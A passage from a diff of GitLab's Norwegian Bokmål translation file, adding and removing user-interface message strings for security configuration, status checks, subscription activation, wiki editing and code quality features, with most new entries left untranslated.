msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr "Tilpass vanlige SAST-innstillinger etter dine behov. Oppsettsendringer s
msgid "SecurityConfiguration|Enable"
msgstr "Skru på"
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr "Skrudd på"
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr "Behandle"
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,18 +29024,21 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr "SAST-oppsett"
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
-msgstr ""
-
msgid "SecurityConfiguration|Security Control"
msgstr "Sikkerhetskontroll"
+msgid "SecurityConfiguration|Security testing"
+msgstr ""
+
msgid "SecurityConfiguration|Status"
msgstr "Status"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr "Last ned rapport"
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr "Se målinger"
@@ -28849,6 +29372,9 @@ msgstr "Velg en årsak"
msgid "Select a repository"
msgstr "Velg et kodelager"
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Velg et mal-kodelager"
@@ -29083,6 +29609,9 @@ msgstr "Serverless"
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr "Bestem måldato"
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Registreringsbegrensninger"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "Smartkort"
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "Noe gikk galt under stopping av dette miljøet. Vennligst prøv igjen."
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,11 +30903,14 @@ msgstr "Stacktrace-utdrag"
msgid "Stage"
msgstr "Trinn"
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
-msgstr "Trinn fjernet"
+msgid "StageName|Test"
+msgstr ""
msgid "Standard"
msgstr "Standard"
@@ -30590,18 +31131,57 @@ msgstr "Status: %{title}"
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr "Statusside"
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr "Oppbevaring:"
msgid "StorageSize|Unknown"
msgstr "Ukjent"
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr "Abonnementsslettingen mislyktes."
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr "Aktivering vellykket"
msgid "Successfully approved"
msgstr "Vellykket godkjent"
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr "Vellykket blokkert"
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr "Opphevde blokkeringen vellykket"
@@ -31043,42 +31632,93 @@ msgstr "Sammendrag"
msgid "Sunday"
msgstr "Søndag"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr "Støtteside-URL"
msgid "Survey Response"
msgstr "Undersøkelsessvar"
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr "Mal"
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "Maler"
@@ -31494,9 +32170,6 @@ msgstr "Test"
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr "Tester"
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr "Det avansert søket i GitLab er en kraftig søketjeneste som sparer deg
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "Invitasjonen kunne ikke bli akseptert."
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr "En feil oppstod under innhenting av brukere."
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr "Dette feltet er påkrevd."
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr "Abnormale forespørsler"
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr "Miljø"
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr "Vis dokumentasjon"
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr "Selv om det er sjeldent at det ikke kommer trafikk inn til applikasjonen din, kan det skje. I alle fall ber vi deg dobbeltsjekke innstillingene dine for å sikre at du har konfigurert WAF-en riktig."
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr "Torsdag"
msgid "Time"
msgstr "Tid"
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] "mins"
msgid "Time|s"
msgstr "sek"
-msgid "Tip:"
-msgstr "Tips:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,15 +34318,15 @@ msgstr "Veksle navigasjon"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "Veksle sidelinje"
msgid "Toggle the Performance Bar"
msgstr ""
-msgid "Toggle this dialog"
-msgstr ""
-
msgid "Toggle thread"
msgstr "Veksle tråd"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr "Emner (valgfritt)"
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr "Klarte ikke å innhente uskannede prosjekter"
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr "Frem til"
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Last opp fil"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr "Last opp objektkart"
@@ -34838,6 +35511,9 @@ msgstr "Bruk din universelle varslingsinnstilling"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr "Benyttet programmeringsspråk"
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr "Navn"
msgid "UserLists|New list"
msgstr "Ny liste"
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr "Lagre"
msgid "UserLists|There are no users"
msgstr "Det er ingen brukere"
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr "Bruker-ID"
msgid "UserLists|User IDs"
msgstr "Bruker-ID-er"
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr "Vil du slette %{name}?"
@@ -35108,6 +35805,9 @@ msgstr "hos"
msgid "UserProfile|made a private contribution"
msgstr "gjorde et privat bidrag"
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr "Brukernavn (valgfritt)"
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr "Brukere"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr "Vi fant ingen sårbarheter"
-msgid "Web Application Firewall"
-msgstr "Brannmur for nettapplikasjon"
-
msgid "Web IDE"
msgstr "Nett-IDE"
@@ -35883,16 +36586,16 @@ msgstr "Fletteforespørsel"
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr "Webhook-hjelp"
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "Webhooks lar deg trigge en URL hvis for eksempel ny kode blir pushet eller en ny sak opprettes. Du kan konfigurere webhooks til å lytte etter spesifikke hendelser som push, saker eller fletteforespørsler. Gruppe-webhooker vil gjelde for alle prosjekter i en gruppe, slik at du kan standardisere webhook-funksjonalitet i hele gruppen."
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr "Kommentarer"
@@ -36170,6 +36870,9 @@ msgstr "Hvem skal bruke dette GitLab-abonnementet?"
msgid "Who will be using this GitLab trial?"
msgstr "Hvem skal bruke denne GitLab-prøveversjonen?"
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36278,6 +36981,12 @@ msgstr "Vil du slette siden %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr "Wikier"
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "SSH-nøklene dine (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr "Dine applikasjoner (%{size})"
msgid "Your authorized applications"
msgstr "Dine autoriserte applikasjoner"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr "Din kommentar vil bli forkastet."
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr "allerede delt med denne gruppen"
-msgid "among other things"
-msgstr "blant andre ting"
-
msgid "and"
msgstr "og"
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr "lukket saksrapport"
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
